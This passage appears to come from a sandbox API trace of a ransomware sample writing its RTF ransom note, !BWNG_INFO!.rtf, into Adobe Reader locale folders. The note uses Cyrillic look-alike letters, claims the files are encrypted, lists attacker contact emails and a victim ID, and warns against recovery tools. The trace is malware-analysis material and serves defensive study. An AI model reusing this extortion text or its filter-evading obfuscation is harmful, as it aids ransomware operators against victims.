rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nd", lpUsedDefaultChar=0x0) returned 14086 [0041.087] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.088] CloseHandle (hObject=0x1c4) returned 1 [0041.088] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\!bwng_info!.rtf")) returned 0xffffffff [0041.088] GetLastError () returned 0x2 [0041.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 